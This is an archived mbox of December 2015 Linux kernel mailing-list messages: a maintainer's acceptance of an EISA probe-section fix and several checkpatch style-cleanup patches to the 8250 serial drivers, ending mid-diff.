To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [PATCH V2 net-next] drivers/net: fix eisa_driver probe section
 mismatch
Date: Mon, 14 Dec 2015 00:24:41 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <20151214.002441.143023648656067275.davem@davemloft.net>
References: <1449941078-15854-1-git-send-email-fabf@skynet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450070692 21362 80.91.229.3 (14 Dec 2015 05:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 14 Dec 2015 05:24:52 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
	klassert@mathematik.tu-chemnitz.de, perex@perex.cz,
	linux-parisc@vger.kernel.org
To: fabf@skynet.be
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 14 06:24:46 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a8Lcr-0005hU-6X
	for glpp-linux-parisc@plane.gmane.org; Mon, 14 Dec 2015 06:24:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751277AbbLNFYo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 14 Dec 2015 00:24:44 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:44295 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751119AbbLNFYn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 14 Dec 2015 00:24:43 -0500
Original-Received: from localhost (cpe-72-227-129-226.nyc.res.rr.com [72.227.129.226])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 80D5659B66D;
	Sun, 13 Dec 2015 21:24:42 -0800 (PST)
In-Reply-To: <1449941078-15854-1-git-send-email-fabf@skynet.be>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Sun, 13 Dec 2015 21:24:43 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26187 gmane.linux.kernel:2107588 gmane.linux.network:391441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26187>

From: Fabian Frederick <fabf@skynet.be>
Date: Sat, 12 Dec 2015 18:24:38 +0100

> Some eisa_driver structures used __init probe functions which generates
> a warning and could crash if function is called after being deleted.
> 
> Signed-off-by: Fabian Frederick <fabf@skynet.be>

Applied, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 07/11] tty: serial: 8250: Fix line continuation warning
Date: Wed, 16 Dec 2015 16:36:13 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1450280177-4460-8-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280686 24043 80.91.229.3 (16 Dec 2015 15:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:44:46 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:44:31 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EFg-0001np-KL
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:44:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965952AbbLPPoQ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:44:16 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45449 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965872AbbLPPoH (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:07 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 24AA758C4D6;
	Wed, 16 Dec 2015 16:36:44 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:44 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109880 gmane.linux.serial:21100 gmane.linux.ports.parisc:26188
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109880>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 694b509..52c43da 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -249,8 +249,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 05/11] tty: serial: 8250: Remove else after return
Date: Wed, 16 Dec 2015 16:36:11 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <1450280177-4460-6-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280734 24963 80.91.229.3 (16 Dec 2015 15:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:45:34 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:45:25 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EGV-0003Gg-T3
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:45:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965937AbbLPPoO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:44:14 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45451 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965878AbbLPPoI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D082958C4D2;
	Wed, 16 Dec 2015 16:36:41 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:41 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109882 gmane.linux.serial:21101 gmane.linux.ports.parisc:26189
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109882>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 41508a5..3bc0303 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -806,10 +806,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -817,12 +817,11 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on am=
biguous config.\n");
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH 09/11] tty: serial: 8250: Fix multi-line strings
Date: Wed, 16 Dec 2015 16:36:15 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <1450280177-4460-10-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280760 25586 80.91.229.3 (16 Dec 2015 15:46:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:46:00 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 16 16:45:56 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a9EH5-0004G6-HW
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Dec 2015 16:45:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965889AbbLPPoK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Dec 2015 10:44:10 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45452 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965879AbbLPPoI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 665D958C4DA;
	Wed, 16 Dec 2015 16:36:46 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:46 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26190 gmane.linux.serial:21102 gmane.linux.kernel:2109883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26190>

Merged user-visible multi-line strings into a single line according to =
the
Linux Kernel Coding Style, which allows user-visible strings to exceed =
the
maximum line length of 80 characters. The main reason for this is to
facilitate grepping for these strings.
However, some strings were ignored in this patch, because the use of
format specifiers breaks the ability to grep anyway.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c | 3 +--
 drivers/tty/serial/8250/serial_cs.c | 3 +--
 2 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 3c29530..2b3731f 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1174,8 +1174,7 @@ MODULE_LICENSE("GPL");
 MODULE_DESCRIPTION("Generic 8250/16x50 serial driver");
=20
 module_param(share_irqs, uint, 0644);
-MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices"
-	" (unsafe)");
+MODULE_PARM_DESC(share_irqs, "Share IRQs with other non-8250/16x50 dev=
ices (unsafe)");
=20
 module_param(nr_uarts, uint, 0644);
 MODULE_PARM_DESC(nr_uarts, "Maximum number of UARTs supported. (1-" __=
MODULE_STRING(CONFIG_SERIAL_8250_NR_UARTS) ")");
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index a4bdcf6..65d341d 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -535,8 +535,7 @@ static int multi_config(struct pcmcia_device *link)
 		info->multi =3D 2;
 		if (pcmcia_loop_config(link, multi_config_check_notpicky,
 				       &base2)) {
-			dev_warn(&link->dev, "no usable port range "
-			       "found, giving up\n");
+			dev_warn(&link->dev, "no usable port range found, giving up\n");
 			return -ENODEV;
 		}
 	}
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 02/11] tty: serial: 8250: Fix indentation warnings
Date: Wed, 16 Dec 2015 16:36:08 +0100
Lines: 154
Approved: news@gmane.org
Message-ID: <1450280177-4460-3-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280775 25818 80.91.229.3 (16 Dec 2015 15:46:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:46:15 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:46:04 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EHD-0004Xo-7v
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:46:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965984AbbLPPp7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:45:59 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45453 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965886AbbLPPoI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 69AE558C4CC;
	Wed, 16 Dec 2015 16:36:38 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:38 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109884 gmane.linux.serial:21103 gmane.linux.ports.parisc:26191
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109884>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 31 +++++++++++++++--------------=
--
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c | 14 +++++++-------
 3 files changed, 24 insertions(+), 25 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index ed99fdf..41508a5 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -722,7 +722,7 @@ static int pci_ni8430_init(struct pci_dev *dev)
 	 */
 	pcibios_resource_to_bus(dev->bus, &region, &dev->resource[bar]);
 	device_window =3D ((region.start + MITE_IOWBSR1_WIN_OFFSET) & 0xfffff=
f00)
-	                | MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
+			| MITE_IOWBSR1_WENAB | MITE_IOWBSR1_WSIZE;
 	writel(device_window, p + MITE_IOWBSR1);
=20
 	/* Set window access to go to RAMSEL IO address space */
@@ -843,17 +843,16 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
-		default:
-			if (num_serial =3D=3D 0 ) {
-				moan_device("unknown NetMos/Mostech device", dev);
-			}
+	default:
+		if (num_serial =3D=3D 0)
+			moan_device("unknown NetMos/Mostech device", dev);
 	}
=20
 	if (num_serial =3D=3D 0)
@@ -1766,7 +1765,7 @@ xr17v35x_has_slave(struct serial_private *priv)
 	const int dev_id =3D priv->dev->device;
=20
 	return ((dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V4358) ||
-	        (dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
+		(dev_id =3D=3D PCI_DEVICE_ID_EXAR_XR17V8358));
 }
=20
 static int
@@ -1866,8 +1865,8 @@ pci_fastcom335_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch353_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16550A;
@@ -1876,8 +1875,8 @@ pci_wch_ch353_setup(struct serial_private *priv,
=20
 static int
 pci_wch_ch38x_setup(struct serial_private *priv,
-                    const struct pciserial_board *board,
-                    struct uart_8250_port *port, int idx)
+		    const struct pciserial_board *board,
+		    struct uart_8250_port *port, int idx)
 {
 	port->port.flags |=3D UPF_FIXED_TYPE;
 	port->port.type =3D PORT_16850;
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..1f18065 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -425,8 +425,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index ae8f993..57ad0f2 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -52,7 +52,7 @@
 #define DEBUG_AUTOCONF(fmt...)	do { } while (0)
 #endif
=20
-#define BOTH_EMPTY 	(UART_LSR_TEMT | UART_LSR_THRE)
+#define BOTH_EMPTY	(UART_LSR_TEMT | UART_LSR_THRE)
=20
 /*
  * Here we define the default xmit fifo size used for each type of UAR=
T.
@@ -2236,9 +2236,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
